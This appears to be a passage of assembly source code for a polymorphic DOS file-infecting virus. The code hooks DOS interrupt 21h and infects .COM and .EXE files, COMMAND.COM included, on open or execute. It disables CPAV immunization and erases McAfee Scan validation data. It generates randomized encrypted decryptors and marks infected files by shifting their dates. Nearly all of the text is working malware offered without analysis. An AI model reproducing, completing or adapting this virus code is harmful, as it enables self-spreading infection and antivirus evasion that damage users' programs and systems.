; = YES If in COMMAND.COM +Bytes DD ? ;Bytes replaced with jump in .COM files +Comspec DB 'COMSPEC=' +Comspec@: +Command DB 'COMMAND.COM',0H +Command@: +EXESP DW ? ;.EXE SP +EXESS DW ? ;.EXE SS Displacement +EXECS DW ? ;.EXE CS Displacement +EXEIP DW ? ;.EXE IP +RANDOM DW ? ;Random Number +LAST DW ? ;Random Number Data +Immune: DB 22H,19H,35H,93H,59H,57H,54H,80H ;CPAV's Immune I.D. +Validate: DB 0F1H,0FEH,0C6H,0ABH,0H,0F1H ;Scan's Validation I.D. +Validate@: +ImmuneJumpExe: DB 0E9H,8CH,01H ;Write to .EXE's immunized with CPAV +ImmuneJumpCom: DB 0E9H,75H,01H ;Write to .COM's immunized with CPAV + +Handle21Pall:POP ES ;POP REGS (They were pushed in the decryption) + POP DS + POP BP + POP SI + POP DI + POP DX + POP CX + POP BX + POP AX +Handle21:CMP BYTE PTR CS:[Busy_Flag],Yes ;If Flag set skip + JNE Handle21SF + JMP CS:Vector21 +Handle21SF:MOV BYTE PTR CS:[Busy_Flag],Yes ;Set Flag + CMP AH,3DH ;Open? + JE Open + CMP AH,4BH ;Execute? + JE Execute + CMP AH,6CH ;Extended open? + JE ExtOpen + CMP AH,Signal ;Signal? + JNE Jump21 + MOV AX,Reply ;Tell other that we're already here + MOV BYTE PTR CS:[ReturnFar],YES ;Used later + JMP JumpEM +Jump21: MOV BYTE PTR CS:[ReturnFar],NO ;Used Later + JMP JumpEM + +Open: MOV WORD PTR CS:[FileSeg],DX + MOV WORD PTR CS:[FileSeg+2H],DS ;Save SEG:OFF of file + JMP InfStart +Execute:CMP AL,03H + JBE Open + JMP Jump21 +ExtOpen:MOV WORD PTR CS:[FileSeg],SI ;Save SEG:OFF of file + MOV WORD PTR CS:[FileSeg+2H],DS +InfStart:PUSH AX ;Save All Regs + PUSH BX + PUSH CX + PUSH DX + PUSH DI + PUSH SI + PUSH BP + PUSH DS + PUSH ES + CALL Infect ;Infect the file + MOV BYTE PTR DS:[ReturnFar],NO ;Used Later + POP ES + POP DS + POP BP + POP SI + POP DI + POP DX + POP CX + POP BX + POP AX +JumpEM: MOV BYTE PTR CS:[Memory],YES ;Tell encryption that we need + JMP MemBuild ;to be encrypted in memory + +Infect: CALL Which ;Determine if file is .EXE, .COM + CMP AL,COM ; or other + JNE MaybeEXE + CALL InfCOM ;Infect .COM + RETN +MaybeEXE:CMP AL,EXE + JNE InfectRet + CALL InfEXE ;Infect .EXE +InfectRet:RETN + +JWhichRetNone:JMP WhichRetNone + +Which: PUSH CS + POP DS + MOV WORD PTR DS:[JumpHandle+1H],OFFSET Handle21 ;Point handle at us + MOV BYTE PTR DS:[Opened],NO ; not decryption + MOV BYTE PTR DS:[Attribute],NO + MOV BYTE PTR DS:[Infected],NO + MOV BYTE PTR DS:[CommandCom],NO + MOV AX,2F00H ;Get DTA SEG:OFF + CALL Call21 + MOV WORD PTR DS:[DTA],BX + MOV WORD PTR DS:[DTA+2H],ES ;Save it + PUSH CS + POP ES + MOV DX,OFFSET NewDTA + MOV AX,1A00H + CALL Call21 ;Set to are DTA + LDS DX,DS:[FileSeg] + MOV AX,4E00H ;Find the target file + MOV CX,0027H + CALL Call21 + PUSHF + MOV AX,1A00H ;Reset DTA + LDS DX,CS:[DTA] + CALL Call21 + PUSH CS + POP DS + POPF + JB JWhichRetNone + CMP WORD PTR DS:[NewDTA+1CH],0H ;Must be larger then + JNE WhichNoSize ; 1024 Bytes + CMP WORD PTR DS:[NewDTA+1AH],1024 + JB JWhichRetNone +WhichNoSize:CMP BYTE PTR DS:[NewDTA+19H],0C8H ;19xx+100 Years + JNB JWhichRetNone + ADD BYTE PTR DS:[NewDTA+19H],0C8H ;ADD 100 Years to date + TEST BYTE PTR DS:[NewDTA+15H],01H ;Read Only? + LDS DX,DS:[FileSeg] + JE NoAttr + XOR CX,CX ;if yes, set to 0 + MOV AX,4301H + CALL Call21 + JB WhichRetNone + MOV BYTE PTR CS:[Attribute],YES ;Remember that we changed it +NoAttr: MOV AX,3D02H ;Open + CALL Call21 + JB WhichRetNone + PUSH CS + POP DS + MOV BYTE PTR DS:[Opened],YES ;Remember that we opened it + MOV BX,AX + MOV AX,3F00H ;Read first 20H bytes + MOV CX,0020H + MOV DX,OFFSET First20 + CALL Call21 + JB WhichRetNone + CMP AX,CX + JNE WhichRetNone + CMP WORD PTR DS:[First20],'ZM' ;Is it an .EXE style program? + JE WhichRetEXE + MOV DI,OFFSET NewDTA+1EH ;Offset of found file + MOV CX,OFFSET Command@-OFFSET Command + MOV SI,OFFSET Command + PUSH DI + PUSH SI + CLD + REP CMPSB ;Is it COMMAND.COM? + POP SI + POP DI + JE RetCommand + MOV CX,14 + XOR AX,AX + CLD + REPNE SCASB ;Find end of file + JNE WhichRetNone + MOV CX,5H ;Comp last 5 Bytes + SUB DI,CX + ADD SI,0007H + CLD + REP CMPSB ;Is it an .COM style program? + JE WhichRetCOM +WhichRetNone: + CALL Close + XOR AX,AX + DEC AX + RETN +RetCommand:MOV BYTE PTR DS:[CommandCom],YES ;Remember that this file is +WhichRetCOM: ; Command.COM + MOV AL,COM + MOV BYTE PTR DS:[File],AL + RETN +WhichRetEXE: + MOV AL,EXE + MOV BYTE PTR DS:[File],AL + RETN + +PositionEnd: + MOV AX,4202H ;Set File Pointer to end + XOR CX,CX + MOV DX,CX + CALL Call21 + CMP BYTE PTR DS:[File],COM + JE NoDivide + PUSH AX ;If .EXE then get Page size and modula data + PUSH DX + PUSH CX + MOV CX,200H + DIV CX + INC AX + CMP WORD PTR DS:[First20+4H],AX ;Must be right in header or abort + JNE HeaderError + CMP WORD PTR DS:[First20+2H],DX + JNE HeaderError + POP CX + POP DX + POP AX +NoDivide:CALL FindScan ;Delete validation data (Viruscan) + JB PosEndErr + MOV CX,DX + MOV DX,AX + MOV AX,4200H ;Set file pointer to beginning + CALL Call21 + TEST AX,000FH + JE NoAdjust + AND AX,0FFF0H ;Set to Paragraph + ADD AX,0010H + MOV CX,DX + MOV DX,AX + MOV AX,4200H + CALL Call21 ;at end +NoAdjust:CMP BYTE PTR DS:[File],COM ;Is it a .COM file + JNE NoSize + OR DX,DX + JNE PosEndErr + CMP AX,65535-(OFFSET Done-OFFSET Start)-2048 ;.COM's must be < + JA PosEndErr +NoSize: MOV WORD PTR DS:[OldFileSize],AX ;Save original size (for CPAV) + MOV WORD PTR DS:[OldFileSize+2H],DX + MOV BYTE PTR DS:[Memory],NO ;Tell encryption it's for a + ; file + CALL Build ;Make encrypted copy of us + MOV AX,4000H ;Write it to the file + CALL Call21 + JB PosEndErr + MOV BYTE PTR DS:[Infected],YES ;Remember that this file is Infected + MOV AX,4201H ;4201 DX=CX=0: Get current File Pointer + XOR CX,CX + MOV DX,CX + CALL Call21 + MOV WORD PTR DS:[NewFileSize],AX ;Remember new file size + MOV WORD PTR DS:[NewFIleSize+2H],DX ; (for .EXE header) + XOR AX,AX + RETN +HeaderError:POP CX + POP DX + POP AX +PosEndErr:XOR AX,AX + DEC AX + RETN +PositionStart: + MOV AX,4200H ;AX=4200 CX=DX=0 set pointer to start + XOR CX,CX + XOR DX,DX + CALL Call21 + MOV DX,OFFSET First20 + MOV CX,20H ;Read 20H Bytes + MOV AX,4000H + CALL Call21 + JB PosStaErr + XOR AX,AX + RETN +PosStaErr:XOR AX,AX + DEC AX + RETN + +FindScan:PUSH AX + PUSH DX + SUB AX,75 ;Validation bytes are in lat 75 Bytes + MOV CX,DX ; of the program (if they're there) + MOV DX,AX + MOV AX,4200H + CALL Call21 ;Set file position + MOV DX,OFFSET Encrypt + MOV CX,75 + MOV AX,3F00H ;Read those last 75 Bytes + CALL Call21 + CMP AX,CX + JNE ScanErr + CALL ScanSearch ;Are validation bytes here? + OR AX,AX + JNE FindRet + POP DX + POP AX + SUB AX,75 + ADD AX,DI + MOV CX,DX + MOV DX,AX + MOV AX,4200H ;Set file position to Validation bytes + CALL Call21 + PUSH AX + PUSH DX + MOV AX,4000H ;Overwrite them with Zero + MOV CX,75 + SUB CX,DI + MOV DI,OFFSET Decrypt + MOV DX,DI + PUSH AX + PUSH CX + XOR AX,AX + CLD + REP STOSB + POP CX + POP AX + CALL Call21 + JB ScanErr +FindRet:CLC + POP DX + POP AX + RETN +ScanErr:STC + POP DX + POP AX + RETN + + + +ScanSearch:MOV AL,0FFH + CALL ScanDecrypt ;Decrypt Internal Validation bytes + MOV SI,OFFSET Validate + MOV DI,OFFSET Encrypt + MOV CX,76-(OFFSET Validate@-OFFSET Validate) + CLD + LODSB +SearchCont:REPNE SCASB ;Find first byte + JNE SearchNeg + PUSH SI + PUSH CX + CLD + REP CMPSB ;if found then compare rest + POP CX + POP SI + JE SearchYes + JMP SearchCont +SearchNeg:MOV AL,1H ;Encrypt Internal Validation Bytes + CALL ScanDecrypt + XOR AX,AX + DEC AX + RETN + +SearchYes:SUB DI,OFFSET Encrypt + SUB DI,CX + DEC DI ;Get offset from encrypt + MOV AL,1H + CALL ScanDecrypt ;Encrypt Internal Validation Bytes + XOR AX,AX + RETN + +ScanDecrypt:MOV SI,OFFSET Validate + MOV CX,OFFSET Validate@-OFFSET Validate +ScanLP: ADD BYTE PTR DS:[SI],AL + INC SI + LOOP ScanLP + RETN + +Close: CMP BYTE PTR DS:[Opened],NO ;Was it opended? + JE NoClose + CMP BYTE PTR DS:[Infected],YES ;Was it infected + JNE NoDate + MOV AX,5701H ;then reset date + MOV CX,DS:[NewDTA+16H] + MOV DX,DS:[NewDTA+18H] + CALL Call21 +NoDate: MOV AX,3E00H ;then close + CALL Call21 +NoClose:CMP BYTE PTR DS:[Attribute],NO ;Was the attribute changed? + JE NoSetAttr + XOR CX,CX + MOV CL,DS:[NewDTA+15H] + TEST CL,1H + JE NoSetAttr + MOV AX,4301H ;then reset it + LDS DX,DS:[FileSeg] + CALL Call21 + PUSH CS + POP DS +NoSetAttr:RETN + + + + +DisImmune:CMP BYTE PTR DS:[File],EXE ;Is file .EXE + JE ExeImmune + MOV SI,OFFSET First20 + MOV DI,OFFSET ImmuneBytes + MOV CX,000EH + CLD + REP MOVSB ;Move header info + JMP ImmuneComp +ExeImmune:MOV DX,DS:[First20+8H] ;Size of header + MOV CL,4H ;Change form paragraphs to bytes + SHL DX,CL + MOV AX,4200H ;set to that position + XOR CX,CX + CALL Call21 + MOV AX,3F00H ;Read those 10H bytes + MOV DX,OFFSET ImmuneBytes + MOV CX,0010H + CALL Call21 + CMP AX,CX + JNE DisImmuneNo +ImmuneComp:MOV DI,OFFSET ImmuneBytes+6H + MOV SI,OFFSET Immune + MOV CX,0008H ;Is CPAV Immune here? + CLD + REP CMPSB + JNE DisImmuneYes + CMP BYTE PTR DS:[File],EXE ;Is file an .EXE + JNE ImmunePosCom + JMP ImmunePosExe +DisImmuneNo:XOR AX,AX + DEC AX + RETN +DisImmuneYes:XOR AX,AX + RETN +ImmunePosCom:XOR CX,CX + MOV DX,DS:[ImmuneBytes+1H] ;Offset to End of immunization code + SUB DX,02F0H ;Set Offset Start of immunzation code + MOV AX,4200H + CALL Call21 + JMP ImmuneWrite +ImmunePosExe:XOR AX,AX + MOV DX,DS:[First20+8H] ;End of header + ADD DX,DS:[First20+16H] ;plus .EXE start offset + CMP DX,0FFFH + JB ImmuneNoR + PUSH DX + AND DX,0F000H + MOV AX,DX + POP DX + MOV CL,4H + ROL AX,CL +ImmuneNoR:MOV CL,4H + SHL DX,CL + ADD DX,DS:[First20+14H] + JNB ImmuneNoI + INC AX +ImmuneNoI:ADD DX,0030H + JNB ImmuneNoI1 + INC AX +ImmuneNoI1:MOV CX,AX + MOV AX,4200H + CALL Call21 +ImmuneWrite:MOV AX,4000H ;Write jump to code + MOV CX,0003H + MOV DX,OFFSET ImmuneJumpCom + CMP BYTE PTR DS:[File],COM + JE ImmuneW + MOV DX,OFFSET ImmuneJumpExe +ImmuneW:CALL Call21 + JB DisImmuneNo + XOR AX,AX + RETN + +InfCOM: CALL DisImmune + OR AX,AX + JNE InfCOMClose + MOV AX,DS:[First20] ;Save bytes from CPAV code + MOV WORD PTR DS:[Bytes],AX + MOV AX,DS:[First20+2H] + MOV WORD PTR DS:[Bytes+2H],AX + CALL PositionEnd ;To end of file + OR AX,AX + JNE InfCOMClose + MOV DI,OFFSET First20 + MOV AL,0E9H ; 0E9H = JMP xxxx + CLD + STOSB + MOV AX,DS:[OldFileSize] + SUB AX,0003H ;End of file + CLD + STOSW + CALL PositionStart ;To start +InfCOMClose:CALL Close + RETN + +InfEXE: CALL DisImmune ;Call the anti-CPAV code + OR AX,AX + JNE InfEXEClose + CMP WORD PTR DS:[First20+0CH],-1 ;.EXE must ask for all of memory + JNE InfEXEClose + MOV AX,DS:[First20+0EH] ;Get stack seg displacement + MOV WORD PTR DS:[EXESS],AX ;Save it + MOV AX,DS:[First20+10H] ;Get Stack Pointer + MOV WORD PTR DS:[EXESP],AX ;Save it + MOV AX,DS:[First20+14H] ;Get Instruction pointer + MOV WORD PTR DS:[EXEIP],AX ;Save it + MOV AX,DS:[First20+16H] ;Get Code segment displacement + MOV WORD PTR DS:[EXECS],AX ;Save it + CALL PositionEnd ;To end + OR AX,AX + JNE InfEXEClose + CALL FixHeader ;Fix .EXE Header + CALL PositionStart ;To start +InfEXEClose:CALL Close + RETN + +FixHeader:MOV AX,DS:[NewFileSize] + MOV DX,DS:[NewFileSize+2H] + MOV CX,200H + DIV CX + INC AX + MOV WORD PTR DS:[First20+2H],DX ;Set size in Header to accomendate us + MOV WORD PTR DS:[First20+4H],AX + MOV AX,DS:[OldFileSize] + MOV DX,DS:[First20+8H] + MOV CL,4H + SHL DX,CL + SUB AX,DX ;Set IP to us + MOV WORD PTR DS:[AddSeg],0H +IP_CMP: CMP AX,65535-((OFFSET Done-OFFSET Start)+4096) + JB NoIPMan + SUB AX,0010H + INC WORD PTR DS:[AddSeg] + JMP SHORT IP_CMP +NoIPMan:MOV WORD PTR DS:[First20+14H],AX + MOV AX,DS:[OldFileSize+2H] + CMP AX,000FH + JA FixError + XCHG AL,AH + SHL AX,CL + ADD AX,DS:[AddSeg] + MOV WORD PTR DS:[First20+16H],AX + MOV WORD PTR DS:[First20+0EH],AX + MOV WORD PTR DS:[First20+10H],0FFFEH + XOR AX,AX + RETN +FixError:XOR AX,AX + DEC AX + RETN + +Call21: PUSHF + CALL CS:Vector21 + RETN + +RND: PUSH CX +RND1: PUSH AX + XOR AX,AX + MOV DS,AX + POP AX + ADD AX,DS:[46CH] + PUSH CS + POP DS + ADD AX,DS:[RANDOM] + ADD CX,AX + XCHG AL,AH + TEST AX,CX + JE RND2 + TEST CH,CL + JE RND3 + ADD CX,AX +RND2: XCHG CL,CH + SUB CX,AX + SUB WORD PTR DS:[RANDOM],AX + CMP WORD PTR DS:[LAST],AX + JNE RNDRT + TEST CX,AX + JNE RND3 + SUB AH,CL + ADD CX,AX + TEST AL,CL + JNE RND3 + TEST WORD PTR DS:[RANDOM],AX + JE RND3 + SUB CX,AX +RND3: XCHG AL,AH + SUB CX,AX + XCHG CL,CH + JMP RND1 +RNDRT: MOV WORD PTR DS:[LAST],AX + POP CX + RET +RND@: + +MemBuild:PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH DI + PUSH SI + PUSH BP + PUSH DS + PUSH ES + PUSH CS + POP ES + PUSH CS + POP DS +BUILD: PUSH BX + CALL ALTTAB + MOV DI,OFFSET DECRYPT + AND DI,0FFF0H + ADD DI,0010H + MOV WORD PTR DS:[DOFF],DI + MOV WORD PTR DS:[EOFF],OFFSET ENCRYPT + CMP BYTE PTR DS:[Memory],YES + JE CallMH + CALL HEAD + JMP SHORT BUILDL +CallMH: CALL MemHead +BUILDL: CALL RND + AND AX,001FH + JE BUILDL + MOV WORD PTR DS:[ECNT],AX + MOV WORD PTR DS:[INST],AX +BUILDLP:CALL MAKE + DEC WORD PTR DS:[ECNT] + JNE BUILDLP + CMP BYTE PTR DS:[Memory],YES + JE CallMT + CALL BTAIL + JMP SHORT BuildRet +CallMT: POP AX + JMP MemTail +BuildRet:POP BX + RETN +BUILD@: + +MAKE: MOV BX,OFFSET ETAB + CALL RND + AND AX,001FH + SHL AX,1H + ADD BX,AX + MOV SI,DS:[BX] + ADD SI,OFFSET ETAB + INC SI + MOV DI,DS:[EOFF] ;DI=OFFSET OF ENCRYPT+N + MOV AH,DS:[SI-1H] + MOV CL,4H + SHR AH,CL ;GET INSTRUCTION SIZE + XOR CX,CX + MOV CL,AH + CALL RND + TEST AX,1H + JNE NOSWI + PUSH CX + PUSH DI + PUSH SI + MOV DI,SI + ADD DI,CX +SWLP: MOV AL,DS:[DI] + XCHG DS:[SI],AL + CLD + STOSB + INC SI + LOOP SWLP + POP SI + POP DI + POP CX +NOSWI: MOV DL,DS:[SI-1H] + TEST DL,00001000B + JE MOVINT + MOV BX,OFFSET LODSTO + MOV AL,DS:[BX] + CLD + STOSB + JMP PUTADD +MOVINT: CALL RND + TEST AL,1H + JNE PUTADD + PUSH SI + ADD SI,CX + DEC SI + TEST DL,00000100B + JNE ROTCL + DEC SI + TEST DL,00000010B + JNE ROTCL + DEC SI +ROTCL: TEST DL,1H + JE ROTIT + DEC SI +ROTIT: RCR BYTE PTR DS:[SI],1H + CMC + RCL BYTE PTR DS:[SI],1H + ADD SI,CX + RCR BYTE PTR DS:[SI],1H + CMC + RCL BYTE PTR DS:[SI],1H + POP SI +PUTADD: TEST DL,00000100B + JNE NOADD + PUSH SI + ADD SI,CX + DEC SI + TEST DL,00000010B + JNE ADBYTE + CALL RND + DEC SI + ADD WORD PTR DS:[SI],AX + ADD SI,CX + ADD WORD PTR DS:[SI],AX + POP SI + JMP NOADD +ADBYTE: CALL RND + ADD BYTE PTR DS:[SI],AL + ADD SI,CX + ADD BYTE PTR DS:[SI],AL + POP SI +NOADD: PUSH CX + CLD + REP MOVSB + POP CX + TEST DL,00001000B + JNE PUTSTO + CALL PUTINC + JMP MDEC +PUTSTO: MOV AL,DS:[BX+1H] + CLD + STOSB +MDEC: MOV WORD PTR DS:[EOFF],DI + MOV DI,DS:[DOFF] + MOV BYTE PTR DS:[FillB],YES + TEST DL,00001000B + JE DECMOV + MOV AL,DS:[BX] + CLD + STOSB + CALL Fill +DECMOV: CLD + REP MOVSB + CALL Fill + TEST DL,00001000B + JE DECINC + MOV AL,DS:[BX+1H] + CLD + STOSB + JMP DECRT +DECINC: CALL PUTINC +DECRT: CALL Fill + CMP WORD PTR DS:[ECNT],1H + JNE SAVEDI + CMP BYTE PTR DS:[Memory],YES + JNE NoDecJMP + CALL Fill + JMP SHORT SaveDI +NoDecJMP:MOV AL,0EBH + CLD + STOSB + XOR AX,AX + MOV BX,DI + CLD + STOSB + MOV AX,DS:[INST] + SHL AX,1H + CMP AX,6H + JBE SaveDI + SUB AX,0006H + MOV CX,AX + CALL Fill_NUM +Make_LP:CALL RND + TEST AL,1H + JNE MAKE_NI + INC BYTE PTR DS:[BX] +Make_NI:LOOP Make_LP +SaveDI: MOV WORD PTR DS:[DOFF],DI + MOV BYTE PTR DS:[FillB],NO + RETN +MAKE@: + +Fill_NUM:PUSH AX + PUSH BX + PUSH CX + MOV BX,OFFSET FTABLE +FINLP: CALL RND + AND AX,000FH + XLAT + CLD + STOSB + LOOP FINLP + POP CX + POP BX + POP AX + RETN +Fill_NUM@: + +Fill: PUSH AX + PUSH BX + PUSH CX + CALL RND + AND AX,001FH + MOV CX,AX + JCXZ FILRT + MOV BX,OFFSET FTABLE +FILP: CALL RND + MOV AH,0FH + CMP BYTE PTR DS:[Memory],YES + JNE AndEf + MOV AH,07H +AndEf: AND AL,AH + XLAT + CLD + STOSB + LOOP FILP +FILRT: POP CX + POP BX + POP AX + RETN +Fill@: + +FTABLE: NOP + STC + CLC + CMC + CLD + STI + NOP ;SAHF + DB 2EH + DB 3EH + DB 26H + INC BX + DEC BX + INC DX + DEC DX + INC BP + DEC BP +FTABLE@: + +PUTINC: PUSH AX + PUSH CX + PUSH SI + MOV CL,DS:[FillB] + MOV SI,OFFSET INCDOFF + CALL RND + TEST AL,01H + JE MOVINC + ADD SI,6H +MOVINC: CLD + MOVSB + JCXZ NOFIL1 + CALL Fill7 +NOFIL1: CLD + MOVSB + JCXZ NOFIL2 + CALL Fill7 +NOFIL2: CALL RND + TEST AL,1H + JE MOVINC1 + INC SI + INC SI + CLD + MOVSW + JMP SHORT MOVINCR +MOVINC1:CLD + MOVSB + JCXZ NOFIL3 + CALL Fill7 +NOFIL3: CLD + MOVSB +MOVINCR:POP SI + POP CX + POP AX + RETN +PUTINC@: + +Fill7: PUSH AX + PUSH CX + CALL RND + AND AX,0007H + MOV CX,AX + JCXZ NOFL7 + CALL Fill_NUM +NOFL7: POP CX + POP AX + RETN +Fill7@: + +BTAIL: MOV SI,OFFSET TOP + CALL RND + MOV CX,6H + TEST AL,1H + JE TAILMOV + ADD SI,CX +TAILMOV:CLD + REP MOVSB + MOV AX,DI + SUB AX,DS:[DEC_START] ;TELL TAIL WHERE TO JMP + NEG AX + MOV WORD PTR DS:[DI-2H],AX + MOV WORD PTR DS:[DOFF],DI + MOV BX,DS:[INST] + SHL BX,1H + MOV AX,DI + SUB AX,BX ;HOW MUCH OF THE DECRYPTION + PUSH AX ; TO ENCRYPT? + PUSH BX + MOV BX,OFFSET FTABLE + XOR DX,DX +TAILSL: TEST DI,000FH + JE TAILPA + CALL RND + AND AX,000FH + XLAT + STOSB + INC DX + JMP TAILSL +TAILPA: POP BX + MOV SI,OFFSET Start + MOV CX,OFFSET Done-OFFSET Start + CLD + REP MOVSB + CALL RND + AND AX,1H + ADD DI,AX + MOV AX,OFFSET DECRYPT + AND AX,0FFF0H + ADD AX,0010H + SUB DI,AX + MOV WORD PTR DS:[SIZ],DI + MOV DI,DS:[EOFF] + MOV BYTE PTR DS:[DI],0C3H + MOV AX,OFFSET Done-OFFSET Start + ADD AX,BX + ADD AX,DX + XOR DX,DX + DIV WORD PTR DS:[INST] + SHR AX,1H + MOV CX,AX + INC CX + MOV DI,DS:[MOVCX] + MOV WORD PTR DS:[DI],CX + POP DI + PUSH DI + MOV BX,DS:[CALL_OFF] + SUB DI,BX + MOV SI,DS:[ADDSI] + MOV WORD PTR DS:[SI],DI + POP DI + MOV SI,DI +TAILE: MOV AX,OFFSET ENCRYPT + CALL AX + LOOP TAILE + MOV DX,OFFSET DECRYPT + AND DX,0FFF0H + ADD DX,0010H + MOV CX,DS:[SIZ] + RETN +BTAIL@: + +INCDOFF:INC DI + INC DI + PUSH DI + POP SI + MOV SI,DI + + INC SI + INC SI + PUSH SI + POP DI + MOV DI,SI +INCDOFF@: + + + +TOP: DEC CX + JE TOP1 + JMP Start +TOP1: DEC CX + JCXZ TOP@ + JMP Start +TOP@: + +HEAD: MOV BYTE PTR DS:[PUTCLD],NO + MOV BYTE PTR DS:[PUTCX],NO + MOV BYTE PTR DS:[FORCE],NO + MOV BYTE PTR DS:[PUSHED],NO + MOV BX,OFFSET HOP + MOV SI,BX + CALL CALL_EM + CLD + MOVSB + PUSH DI + XOR AX,AX + CLD + STOSW + MOV WORD PTR DS:[CALL_OFF],DI + CALL RND + AND AX,001FH + MOV CX,AX + JCXZ HEAD_NCL + CALL Fill_NUM +HEAD_NCL:CALL PUTCL + POP AX + PUSH BX + MOV BX,AX + JCXZ HEAD_ZER +HEAD_LP:CALL RND + TEST AL,1H + JNE HEAD_NI + INC BYTE PTR DS:[BX] +HEAD_NI:LOOP HEAD_LP +HEAD_ZER:POP BX + INC SI + INC SI + CALL RND + AND AX,0001H + MOV DX,AX + CLD + LODSB + OR AL,DL + CLD + STOSB + CALL CALL_EM + CLD + MOVSB + CLD + LODSB + OR AL,DL + CLD + STOSB + XOR AX,AX + MOV WORD PTR DS:[ADDSI],DI + CLD + STOSW + CALL CALL_EM + CALL RND + TEST AL,1H + JNE HEAD_E + CLD + LODSB + OR AL,DL + CLD + STOSB + CALL CALL_EM + MOV AL,DS:[BX+3H] + MOV DH,DL + NEG DH + INC DH + OR AL,DH + CLD + STOSB + JMP SHORT HEAD_E1 +HEAD_E: INC SI + CLD + MOVSB + CLD + LODSB + MOV CL,4H + SHL AX,CL + PUSH CX + MOV CL,DL + SHL AL,CL + POP CX + SHR AX,CL + CLD + STOSB +HEAD_E1:MOV BYTE PTR DS:[FORCE],YES + CALL CALL_EM + MOV WORD PTR DS:[DOFF],DI + MOV WORD PTR DS:[DEC_START],DI + RETN +CALL_EM:CALL Fill + CALL PUTCL + RETN +HEAD@: + +HOP: DB 0E8H ;CALL + DB 0FCH ;CLD + DB 0B9H ;MOV CX, + DB 5EH ;POP SI 5FH = POP DI + DB 81H ;ADD + DB 0C6H ;SI C7H = DI + DB 56H ;PUSH SI 57H = PUSH DI + DB 89H ;MOV + DB 0F7H ;DI,SI 0FEH = SI,DI + DB 06H ;PUSH ES + DB 0EH ;PUSH CS + DB 1FH ;POP DS + DB 0EH ;PUSH CS + DB 07H ;POP ES +HOP@: + + +PUTCL: PUSH AX + CALL RND + CMP BYTE PTR DS:[FORCE],YES + JE PUTCL_F + TEST AL,01H + JNE PUTCL_NO +PUTCL_F:CMP BYTE PTR DS:[PUTCLD],YES + JE PUTCL_NO + MOV AL,DS:[BX+1H] + CLD + STOSB + CALL Fill + MOV BYTE PTR DS:[PUTCLD],YES +PUTCL_NO:CALL RND + CMP BYTE PTR DS:[FORCE],YES + JE PUTCL_F1 + TEST AL,1H + JNE PUTCL_NO1 +PUTCL_F1:CMP BYTE PTR DS:[PUTCX],YES + JE PUTCL_NO1 + MOV AL,DS:[BX+2H] + CLD + STOSB + MOV WORD PTR DS:[MOVCX],DI + XOR AX,AX + CLD + STOSW + CALL Fill + MOV BYTE PTR DS:[PUTCX],YES +PUTCL_NO1:MOV BYTE PTR DS:[Begin],1EH + CMP BYTE PTR DS:[Memory],YES + JE PUTCL_MEM + CMP BYTE PTR DS:[File],COM + JE PutCLRet +PUTCL_MEM:MOV BYTE PTR DS:[Begin],90H + CMP BYTE PTR DS:[PUSHED],YES + JE PutCLRet + PUSH CX + PUSH SI + MOV SI,OFFSET HOP+9H + MOV CX,5H + CMP BYTE PTR DS:[Memory],NO + JE PUTCL_LP1 + INC SI + DEC CX +PUTCL_LP1:CLD + MOVSB + CALL Fill + LOOP PUTCL_LP1 + POP SI + POP CX + MOV BYTE PTR DS:[PUSHED],YES +PutCLRet:POP AX + RETN +PUTCL@: + +RanFunction:PUSH AX + PUSH BX + PUSH DI + MOV DI,OFFSET FunctionComp+2H + MOV BYTE PTR DS:[FuncByte],0H +RanFuncLP:CMP BYTE PTR DS:[FuncByte],0FH + JE RanFuncEnd + CALL RND + AND AL,3H + MOV AH,3DH + MOV BL,1H + CMP AL,0H + JE GotFunc + MOV AH,4BH + MOV BL,2H + CMP AL,1H + JE GotFunc + MOV AH,6CH + MOV BL,4H + CMP AL,2H + JE GotFunc + MOV AH,Signal + MOV BL,8H + CMP AL,3H + JNE RanFuncLP +GotFunc:TEST BYTE PTR DS:[FuncByte],BL + JNE RanFuncLP + OR BYTE PTR DS:[FuncByte],BL + MOV BYTE PTR DS:[DI],AH + ADD DI,0005H + JMP SHORT RanFuncLP +RanFuncEnd:POP DI + POP BX + POP AX + RETN + +MemHead:MOV BYTE PTR DS:[PUTCLD],NO + MOV BYTE PTR DS:[PUTCX],NO + MOV BYTE PTR DS:[FORCE],NO + MOV BYTE PTR DS:[PUSHED],NO + MOV BX,OFFSET HOP + CALL RanFunction + MOV DI,DS:[DOFF] + MOV SI,OFFSET FunctionComp + MOV CX,OFFSET MemDecrypt-FunctionComp + MOV WORD PTR DS:[JumpHandle+1H],DI + MOV WORD PTR DS:[JumpHandle+3H],CS + MOV AX,DS:[Vector21] + MOV WORD PTR DS:[FunctionJump+1H],AX + MOV AX,DS:[Vector21+2H] + MOV WORD PTR DS:[FunctionJump+3H],AX + CALL Fill + CLD + REP MOVSB + MOV SI,OFFSET MemBuild + MOV CX,0009H +MemHeadLP:CALL Fill + CLD + MOVSB + LOOP MemHeadLP + CALL CALL_EM + CALL RND + AND AL,01H + MOV DL,AL + MOV AL,0BEH + OR AL,DL + CLD + STOSB + MOV AX,100H + CLD + STOSW + CALL CALL_EM + MOV AL,89H + CLD + STOSB + MOV AL,0F7H + MOV CL,DL + SHL CL,1 + SHL CL,1 + SHL AX,CL + PUSH CX + MOV CL,DL + SHL AL,CL + POP CX + SHR AX,CL + CLD + STOSB + MOV BYTE PTR DS:[Force],YES + CALL CALL_EM + MOV WORD PTR DS:[DOFF],DI + MOV WORD PTR DS:[DEC_START],DI + RETN + + +MemTail:MOV SI,OFFSET TOP + MOV DI,DS:[DOFF] + MOV CX,6H + CALL RND + TEST AL,1H + JE MemNoADD + ADD SI,CX +MemNoAdd:CLD + REP MOVSB + PUSH DI + CALL Fill + MOV AL,0EAH + CLD + STOSB + MOV AX,OFFSET Handle21Pall + CLD + STOSW + MOV AX,CS + CLD + STOSW + POP AX + MOV BX,AX + SUB AX,DS:[DEC_START] + NEG AX + MOV WORD PTR DS:[BX-2H],AX + MOV WORD PTR DS:[DOFF],DI + MOV BX,DS:[INST] + SHL BX,1H + XOR DX,DX + MOV AX,OFFSET Done-OFFSET Start + DIV BX + INC AX + MOV DI,DS:[MOVCX] + MOV WORD PTR DS:[DI],AX + MOV BX,AX + MOV DI,DS:[EOFF] + MOV SI,OFFSET MemEncrypt + MOV CX,OFFSET MemEncrypt@-OFFSET MemEncrypt + MOV AX,DI + CLD + REP MOVSB + MOV CX,BX + CMP BYTE PTR DS:[ReturnFar],YES + JE NoPush + SUB DI,5H + PUSH AX + MOV AL,0EAH + CLD + STOSB + MOV AX,DS:[Vector21] + CLD + STOSW + MOV 